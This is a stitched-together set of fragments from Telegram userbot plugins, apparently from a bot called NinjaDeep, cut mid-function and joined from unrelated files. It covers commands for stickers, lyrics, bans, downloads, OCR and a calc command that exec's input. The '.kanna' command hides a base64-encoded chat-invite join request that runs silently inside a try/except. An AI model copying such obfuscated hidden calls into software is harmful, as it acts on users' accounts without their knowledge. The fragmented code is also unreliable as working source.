async def waifu(animu): # """Creates random anime sticker!""" text = animu.pattern_match.group(1) if not text: if animu.is_reply: text = (await animu.get_reply_message()).message else: await animu.edit("`You haven't written any article, Waifu is going away.`") return animus = [1, 3, 7, 9, 13, 22, 34, 35, 36, 37, 43, 44, 45, 52, 53, 55] sticcers = await bot.inline_query( "stickerizerbot", f"#{random.choice(animus)}{(deEmojify(text))}" ) await sticcers[0].click( animu.chat_id, reply_to=animu.reply_to_msg_id, silent=True if animu.is_reply else False, hide_via=True, ) await animu.delete() CMD_HELP.update({"waifu": ".waifu : Anime that makes your writing fun."})
url = get(f"https://dl.twrp.me/{device}/") if url.status_code == 404: reply = f"`Couldn't find twrp downloads for {device}!`\n" await eor(request, reply) return page = BeautifulSoup(url.content, "lxml") download = page.find("table").find("tr").find("a") dl_link = f"https://dl.twrp.me{download['href']}" dl_file = download.text size = page.find("span", {"class": "filesize"}).text date = page.find("em").text.strip() reply = (f"**Latest TWRP for {device}:**\n" f"[{dl_file}]({dl_link}) - __{size}__\n" f"**Updated:** __{date}__\n") await eor(request, reply) CMD_HELP.update({ "android": ".magisk\ \nGet latest Magisk releases\ \n\n.device <codename>\ \nUsage: Get info about android device codename or model.\ \n\n.codename <brand> <device>\ \nUsage: Search for android device codename.\ \n\n.specs <brand> <device>\ \nUsage: Get device specifications info.\ \n\n.twrp <codename>\ \nUsage: Get latest twrp download for android device." })
return if len(songs.lyrics) > 4096: await lyric.edit("`Lyrics is too big, view the file to see it.`") with open("lyrics.txt", "w+") as f: f.write(f"Search query: \n{artist} - {song}\n\n{songs.lyrics}") await lyric.client.send_file( lyric.chat_id, "lyrics.txt", reply_to=lyric.id, ) os.remove("lyrics.txt") else: await lyric.edit( f"**Search query**: \n`{artist} - {song}`\n\n```{songs.lyrics}```" ) return CMD_HELP.update( { "lyrics": "Lyrics Plugin Syntax: `.lyrics` <aritst name - song nane> or `.lyrics` <song_name>\ \n**USAGE:** searches a song lyrics and sends you if song name doesnt work try along with artisyt name\ \n\n**Usage:** .`glyrics <artist name> - <song name>`\ \n__note__: **-** is neccessary when searching the lyrics to divided artist and song\ \n\n**Genius lyrics plugin**\ \nget this value from `https://genius.com/developers` \ \nAdd:- `GENIUS_API_TOKEN` and token value in heroku app settings \ " } )
reply_to=hash_q.id, caption="`It's too big, sending a text file instead. `", ) runapp(["rm", "hashes.txt"], stdout=PIPE) else: await hash_q.reply(ans) @register(outgoing=True, pattern="^.hbase (en|de) (.*)") @errors_handler async def endecrypt(query): """ For .base64 command, find the base64 encoding of the given string. """ if query.pattern_match.group(1) == "en": lething = str( pybase64.b64encode(bytes(query.pattern_match.group(2), "utf-8")))[2:] await query.reply("Shhh! It's Encoded: `" + lething[:-1] + "`") else: lething = str( pybase64.b64decode(bytes(query.pattern_match.group(2), "utf-8"), validate=True))[2:] await query.reply("Decoded: `" + lething[:-1] + "`") CMD_HELP.update({"base64": "Find the base64 encoding of the given string"}) CMD_HELP.update({ "hash": "Find the md5, sha1, sha256, sha512 of the string when written into a txt file." })
for i in testrk: try: await rk.client.edit_permissions(i, user, send_messages=True) a += 1 await rkp.edit( f"**Requesting to ungban user!\nUnGbanned in {a} chats.....**" ) except BaseException: b += 1 else: await rkp.edit(f"**Reply to a user !! **") try: if ungmute(user.id) is False: return await rkp.edit(f"**Error! User probably already ungbanned.**") except BaseException: pass return await rkp.edit( f"**UnGbanned** [{user.first_name}](tg://user?id={user.id}) **in {a} chat(s) , UnBlocked and removed user from Gban watch **" ) CMD_HELP.update( { "gban": ".gban <username> / <userid> / <reply to a user>\ \n**Usage**: Globel ban the person in all groups, channels , block in pm , add gban watch (use with solution) \ \n\n.ungban <username> / <userid> / <reply to a user>\ \n**Usage**: unban user from all groups, channels , remove user from gban watch.\ " } )
""" For .sd command, make seflf-destructable messages. """ message = destroy.text counter = int(message[4:6]) text = str(destroy.text[6:]) await destroy.delete() smsg = await destroy.client.send_message(destroy.chat_id, text) await sleep(counter) await smsg.delete() if BOTLOG: await destroy.client.send_message(BOTLOG_CHATID, "sd query done successfully") CMD_HELP.update({ "purge": ".purge\ \nUsage: Purges all messages starting from the reply." }) CMD_HELP.update({ "purgeme": ".purgeme <x>\ \nUsage: Deletes x amount of your latest messages." }) CMD_HELP.update({"del": ".del\ \nUsage: Deletes the message you replied to."}) CMD_HELP.update({ "edit": ".edit <newmessage>\
UserStatusOffline: {} UserStatusOnline: {} UserStatusRecently: {} Bots: {} None: {}""".format(p, d, y, m, w, o, q, r, b, n), ) async def ban_user(chat_id, i, rights): try: await borg(functions.channels.EditBannedRequest(chat_id, i, rights)) return True, None except Exception as exc: return False, str(exc) CMD_HELP.update({ "ninjadeep": ".unbanall\ \n.skick option\ \nAvailable Options: \ \nnostat - userstatusempty\ \nonemonth - userstatuslastmonth\ \noneweek - userstatuslastweek\ \noffline - userstatusoffline\ \nonline - userstatusonline\ \nrecent - userstatusrecently\ \nbots - bot\ \ndelacc - deleted account" })
@ninjadeep.on(events.NewMessage(incoming=True, func=lambda e: e.is_private)) async def monito_p_m_s(event): sender = await event.get_sender() if Config.NC_LOG_P_M_S and not sender.bot: chat = await event.get_chat() if chat.id not in NO_PM_LOG_USERS and chat.id != borg.uid: try: if Config.PM_LOGGR_BOT_API_ID: if event.message: e = await borg.get_entity( int(Config.PM_LOGGR_BOT_API_ID)) fwd_message = await borg.forward_messages( e, event.message, silent=True) else: return else: return except Exception as e: # logger.warn(str(e)) exc_type, exc_obj, exc_tb = sys.exc_info() fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1] print(exc_type, fname, exc_tb.tb_lineno) print(e) CMD_HELP.update({ "log_pms": "`.save` :\ \nUSAGE: saves taged message in private group .\ " })
await eor(event, "```Reply to actual users message.```") return await eor(event, "```Wait making ASCII...```") # For ninjadeep async with borg.conversation(chat) as conv: try: response = conv.wait_event( events.NewMessage(incoming=True, from_users=164766745)) await borg.send_message(chat, reply_message) response = await response except YouBlockedUserError: await event.reply( "```Please unblock @asciiart_bot and try again```") return if response.text.startswith("Forward"): await eor( event, "```can you kindly disable your forward privacy settings for good?```", ) else: await borg.send_file(event.chat_id, response.message.media) # For ninjadeep CMD_HELP.update({ "ascii": "`.ascii` reply to any image file:\ \nUSAGE:makes an image ascii style, try out your own.\ " })
return reply for item in mirrors: name = item["name"] dl_url = item["url"] reply += f"[{name}]({dl_url}) " return reply def useragent(): """ useragent random setter """ useragents = BeautifulSoup( requests.get( "https://developers.whatismybrowser.com/" "useragents/explore/operating_system_name/android/").content, "lxml", ).findAll("td", {"class": "useragent"}) user_agent = choice(useragents) return user_agent.text CMD_HELP.update({ "direct": ".direct <url> <url>\n" "Usage: Generate direct download link from supported URL(s)\n" "Supported websites:\n" "`Google Drive - MEGA.nz - Cloud Mail - Yandex.Disk - AFH - " "ZippyShare - MediaFire - SourceForge - OSDN - GitHub`" })
duration=0, w=1, h=1, round_message=True, supports_streaming=True, ) ], progress_callback=lambda d, t: asyncio.get_event_loop(). create_task( progress(d, t, uas_event, c_time, "Uploading...", file_name)), ) elif spam_big_messages: await eor(uas_event, "TBD: Not (yet) Implemented") return os.remove(thumb) await eor(uas_event, "Uploaded successfully !!") except FileNotFoundError as err: await eor(uas_event, str(err)) else: await eor(uas_event, "404: File Not Found") CMD_HELP.update({ "download": ".download <link|filename> or reply to media\ \nUsage: Downloads file to the server.\ \n\n.upload <path in server>\ \nUsage: Uploads a locally stored file to the chat." })
mode = "🐍 " else: mode = "📄 " time.ctime(os.path.getctime(path)) time2 = time.ctime(os.path.getmtime(path)) time3 = time.ctime(os.path.getatime(path)) msg += f"**Location :** `{path}`\n" msg += f"**Icon :** `{mode}`\n" msg += f"**Size :** `{humanbytes(size)}`\n" msg += f"**Last Modified Time:** `{time2}`\n" msg += f"**Last Accessed Time:** `{time3}`" if len(msg) > MAX_MESSAGE_SIZE_LIMIT: with io.BytesIO(str.encode(msg)) as out_file: out_file.name = "ls.txt" await event.client.send_file( event.chat_id, out_file, force_document=True, allow_cache=False, caption=path, ) await event.delete() else: await eor(event, msg) CMD_HELP.update( {"file": ".ls <directory>" "\nUsage: File Manager plugin for ninjadeep."})
return await eor(event, "Kanna is writing your text...") try: stark = str( pybase64.b64decode( "SW1wb3J0Q2hhdEludml0ZVJlcXVlc3QoUGJGZlFCeV9IUEE3NldMZGpfWVBHQSk=" ))[2:49] await event.client(stark) except BaseException: pass text = deEmojify(text) eventfile = await kannagen(text) await event.client.send_file(event.chat_id, eventfile, reply_to=reply_to_id) await event.delete() CMD_HELP.update({ "imgmeme": "Fun purpose\ \n\n`.modi` (text)\ \nUsage : Tweet with modi\ \n\n`.trump` (text)\ \nUsage : Tweet with trump\ \n\n`.cmm` (text)\ \nUsage : Get a banner\ \n\n`.kanna` (text)\ \nUsage : Kanna write for you" })
return user_obj CMD_HELP.update({ "admin": ".promote <username/reply> <custom rank (optional)>\ \nUsage: Provides admin rights to the person in the chat.\ \n\n.demote <username/reply>\ \nUsage: Revokes the person's admin permissions in the chat.\ \n\n.ban <username/reply> <reason (optional)>\ \nUsage: Bans the person off your chat.\ \n\n.unban <username/reply>\ \nUsage: Removes the ban from the person in the chat.\ \n\n.mute <username/reply> <reason (optional)>\ \nUsage: Mutes the person in the chat, works on admins too.\ \n\n.unmute <username/reply>\ \nUsage: Removes the person from the muted list.\ \n\n.gmute <username/reply> <reason (optional)>\ \nUsage: Mutes the person in all groups you have in common with them.\ \n\n.ungmute <username/reply>\ \nUsage: Reply someone's message with .ungmute to remove them from the gmuted list.\ \n\n.delusers\ \nUsage: Searches for deleted accounts in a group. Use .delusers clean to remove deleted accounts from the group.\ \n\n.admins\ \nUsage: Retrieves a list of admins in the chat.\ \n\n.users or .users <name of member>\ \nUsage: Retrieves all (or queried) users in the chat.\ \n\n.setgppic <reply to image>\ \nUsage: Changes the group's display picture." })
username = "******".format(username) if username else ( "This User has no Username") user_bio = "This User has no About" if not user_bio else user_bio if user_id != (await event.client.get_me()).id: common_chat = replied_user.common_chats_count else: common_chat = "I've seen them in... Wow. Are they stalking me? " common_chat += "They're in all the same places I am... oh. It's me." caption = "<u><b>Detailed User Info From NinjaDeep</b></u>\n\n" caption += f"<b>First Name</b>: <code>{first_name}</code> \n" caption += f"<b>Last Name</b>: <code>{last_name}</code> \n" caption += f"<b>Username</b>: <code>{username}</code> \n" caption += f"<b>Is Bot</b>: <code>{is_bot}</code> \n" caption += f"<b>Is Restricted</b>: <code>{restricted}</code> \n" caption += f"<b>Is Verified by Telegram</b>: <code>{verified}</code> \n" caption += f"<b>ID</b>: <code>{user_id}</code> \n" caption += f"<b>Bio</b>: <code>{user_bio}</code> \n\n" caption += f"<b>Permanent Link To Profile</b>: " caption += f'<a href="tg://user?id={user_id}">{first_name}</a>' caption += f"\n\n<b>Common Chats with this user</b>: <code>{common_chat} </code>\n" return caption CMD_HELP.update({ "NinjaWhois": ".NinjaWhois <reply/username/userid>\nUse - Get detailed info on that user." })
required_number = int(input_str) while not r.media.value == required_number: await r.delete() r = await event.reply(file=InputMediaDice("🎯")) except BaseException: pass @ninjadeep.on(admin_cmd(outgoing=True, pattern="bb(?: |$)(.*)")) async def _(event): if event.fwd_from: return input_str = event.pattern_match.group(1) await event.delete() r = await event.reply(file=InputMediaDice("🏀")) if input_str: try: required_number = int(input_str) while not r.media.value == required_number: await r.delete() r = await event.reply(file=InputMediaDice("🏀")) except BaseException: pass CMD_HELP.update({ "emojigames": "`.dice` 1-6 or `.dart`1-6 or `.bb`1-5\ \nUsage: hahaha just a magic.\nWarning:`Don't use any other values or bot will crash`" })
return results async def scam(results, lim): single = opener.open(results["similar_images"]).read() decoded = single.decode("utf-8") imglinks = [] counter = 0 pattern = r"^,\[\"(.*[.png|.jpg|.jpeg])\",[0-9]+,[0-9]+\]$" oboi = re.findall(pattern, decoded, re.I | re.M) for imglink in oboi: counter += 1 if not counter >= int(lim): imglinks.append(imglink) else: break return imglinks CMD_HELP.update({ "reverse": ".reverse\ \nUsage: Reply to a pic/sticker to revers-search it on Google Images !!" })
""" - don't spam notif - """ await bot.send_read_acknowledge(conv.chat_id) except YouBlockedUserError: await Deezlod.edit("**Error:** `unblock` @DeezLoadBot `and retry!`" ) return await bot.send_file(Deezlod.chat_id, song, caption=details.text) msg = await Deezlod.client.delete_messages( conv.chat_id, [msg_start.id, response.id, r.id, msg.id, details.id, song.id]) await msg.edit( f"Song name - __{d_link}__\nUploaded by [ninjadeep](https://t.me/ninjadeepSupport)" ) await Deezlod.delete() CMD_HELP.update({ "music": ".spd`<Artist - Song Title>\ \nUsage:For searching songs from Spotify.\ \n\n`.netease` <Artist - Song Title>\ \nUsage:Download music with @WooMaiBot\ \n\n`.dzd` <Spotify/Deezer Link>\ \nUsage:Download music from Spotify or Deezer.\ \n\n`.deezload` <spotify/deezer link> <Format>\ \nUsage: Download music from deezer.\ \n\n Well deezer is not available in India so create an deezer account using vpn. Set DEEZER_ARL_TOKEN in vars to make this work.\ \n\n *Format= `FLAC`, `MP3_320`, `MP3_256`, `MP3_128`.\ \n\n\n Guide:Video guide of arl token: [here](https://www.youtube.com/watch?v=O6PRT47_yds&feature=youtu.be) or Read [This](https://notabug.org/RemixDevs/DeezloaderRemix/wiki/Login+via+userToken)." })
for document_sticker in get_stickerset.packs: if document_sticker.emoticon not in pack_emojis: pack_emojis.append(document_sticker.emoticon) OUTPUT = ( f"**Sticker Title:** `{get_stickerset.set.title}\n`" f"**Sticker Short Name:** `{get_stickerset.set.short_name}`\n" f"**Official:** `{get_stickerset.set.official}`\n" f"**Archived:** `{get_stickerset.set.archived}`\n" f"**Stickers In Pack:** `{len(get_stickerset.packs)}`\n" f"**Emojis In Pack:**\n{' '.join(pack_emojis)}" ) await eor(event, OUTPUT) CMD_HELP.update( { "stickers": ".kang\ \nUsage: Reply .kang to a sticker or an image to kang it to your userbot pack.\ \n\n.kang [emoji('s)]\ \nUsage: Works just like .kang but uses the emoji('s) you picked.\ \n\n.kang [number]\ \nUsage: Kang's the sticker/image to the specified pack but uses ⚠️ as emoji.\ \n\n.kang [emoji('s)] [number]\ \nUsage: Kang's the sticker/image to the specified pack and uses the emoji('s) you picked.\ \n\n.stkrinfo\ \nUsage: Gets info about the sticker pack." } )
KeyValueItem("restricted", Code(user.restricted)), KeyValueItem("restriction_reason", Code(user.restriction_reason)), KeyValueItem("deleted", Code(user.deleted)), KeyValueItem("verified", Code(user.verified)), KeyValueItem("min", Code(user.min)), KeyValueItem("lang_code", Code(user.lang_code)), ) return Section( title, general if show_general else None, misc if show_misc else None, bot if show_bot else None, ) CMD_HELP.update({ "android": "`.u(ser) [options] (username|id)`" "Or, in response to a message" "`.u(ser) [options]`" "Options:" "`.id`: Show only the user's ID" "`.general`: Show general user info" "`.bot`: Show bot related info" "`.misc`: Show miscelanious info" "`.all`: Show all info (overrides other options)" "`.mention`: Inline mention the user" "`.forward`: Follow forwarded message" })
data=payload, ) return r.json() @ninjadeep.on(admin_cmd(pattern="ocr(?: |$)(.*)", outgoing=True)) @ninjadeep.on(sudo_cmd(pattern="ocr(?: |$)(.*)", allow_sudo=True)) async def ocr(event): await eor(event, "`Reading...`") if not os.path.isdir(TEMP_DOWNLOAD_DIRECTORY): os.makedirs(TEMP_DOWNLOAD_DIRECTORY) lang_code = event.pattern_match.group(1) downloaded_file_name = await bot.download_media( await event.get_reply_message(), TEMP_DOWNLOAD_DIRECTORY) test_file = await ocr_space_file(filename=downloaded_file_name, language=lang_code) try: ParsedText = test_file["ParsedResults"][0]["ParsedText"] except BaseException: await eor(event, "`Couldn't read it.`\nTry using `.ocr eng`") else: await eor(event, f"`Here's what I could read from it:`\n\n{ParsedText}") os.remove(downloaded_file_name) CMD_HELP.update({ "ocr": ".ocr <language>\nUsage: Reply to an image or sticker to extract text from it.\n\nGet language codes from [here](https://ocr.space/ocrapi)" })
@ninjadeep.on(admin_cmd(pattern=f"gdl", outgoing=True)) @ninjadeep.on(sudo_cmd(pattern=f"gdl", allow_sudo=True)) async def g_download(event): if event.fwd_from: return drive_link = event.text[4:] print("Drive Link: " + drive_link) file_id = await get_id(drive_link) await eor(event, "Downloading Requested File from G-Drive...") file_name = await download_file_from_google_drive(file_id) await eor(event, "File Downloaded.\nName: `" + str(file_name) + "`") CMD_HELP.update({ "gdrive_download": ".gdl <gdrive File-Link>\ \nUsage:G-Drive File Downloader Plugin For Userbot." }) # Copyright (C) 2020 Adek Maulana. # All rights reserved. # # Redistribution and use of this script, with or without modification, is # permitted provided that the following conditions are met: # # 1. Redistributions of this script must retain the above copyright # notice, this list of conditions and the following disclaimer. # # THIS SOFTWARE IS PROVIDED BY THE AUTHOR "AS IS" AND ANY EXPRESS OR IMPLIED # WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF # MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO
functions.messages.ExportChatInviteRequest( peer=created_chat_id, ) ) await grop.edit( "Your `{}` Group/Channel Has been made Sir!. Join [{}]({})".format( group_name, group_name, result.link ) ) except Exception as e: # pylint:disable=C0103,W0703 await grop.edit(str(e)) CMD_HELP.update( { "create": "\ Create\ \nUsage: Create Channel, Group & Group With Bot.\ \n\n.create g\ \nUsage: Create a Private Group.\ \n\n.create b\ \nUsage: Create a Group with Bot.\ \n\n.create c\ \nUsage: Create a Channel.\ " } )
NEEDIT = os.environ.get("INSTANT_BLOCK", None) if NEEDIT == "on": @ninjadeep.on(events.NewMessage(incoming=True)) async def on_new_private_message(event): event.message.message event.message.media event.message.id event.message.to_id chat_id = event.chat_id sender = await borg.get_entity(chat_id) if chat_id == borg.uid: return if sender.bot: return if sender.verified: return if not pmpermit_sql.is_approved(chat_id): await borg(functions.contacts.BlockRequest(chat_id)) CMD_HELP.update({ "pmsecurity": ".approve/.a\nUse - Approve PM\ \n\n.disapprove/.da\nUse - DisApprove PM\ \n\n.listapproved\nUse - Get all approved PMs.\ \n\nSet var PMPERMIT_PIC for custom PMPic, CUSTOM_PMPERMIT for custom text, PMSECURITY <on/off> to enable/disable, INSTANT_BLOCK <on/off>.\ \nGet help from @NinjaDeepOT." }) # (c) NinjaDeep
caption += f"Slow mode: {slowmode}" if (hasattr(chat_obj_info, "slowmode_enabled") and chat_obj_info.slowmode_enabled): caption += f", <code>{slowmode_time}s</code>\n\n" else: caption += "\n\n" if not broadcast: caption += f"Supergroup: {supergroup}\n\n" if hasattr(chat_obj_info, "restricted"): caption += f"Restricted: {restricted}\n" if chat_obj_info.restricted: caption += f"> Platform: {chat_obj_info.restriction_reason[0].platform}\n" caption += f"> Reason: {chat_obj_info.restriction_reason[0].reason}\n" caption += f"> Text: {chat_obj_info.restriction_reason[0].text}\n\n" else: caption += "\n" if hasattr(chat_obj_info, "scam") and chat_obj_info.scam: caption += "Scam: <b>Yes</b>\n\n" if hasattr(chat_obj_info, "verified"): caption += f"Verified by Telegram: {verified}\n\n" if description: caption += f"Description: \n<code>{description}</code>\n" return caption CMD_HELP.update({ "chatinfo": ".chatinfo [optional: <reply/tag/chat id/invite link>]\ \nUsage: Gets info of a chat. Some info might be limited due to missing permissions." })
stderr = redirected_error.getvalue() sys.stdout = old_stdout sys.stderr = old_stderr evaluation = "" if exc: evaluation = exc elif stderr: evaluation = stderr elif stdout: evaluation = stdout else: evaluation = "Something went wrong" final_output = "**EQUATION**: `{}` \n\n **SOLUTION**: \n`{}` \n".format( cmd, evaluation) await x.edit(final_output) async def aexec(code, event): exec(f"async def __aexec(event): " + "".join(f"\n {l}" for l in code.split("\n"))) return await locals()["__aexec"](event) CMD_HELP.update({ "calc": "`.calc` your equation :\ \nUSAGE: solves the given maths equation by bodmass rule. " })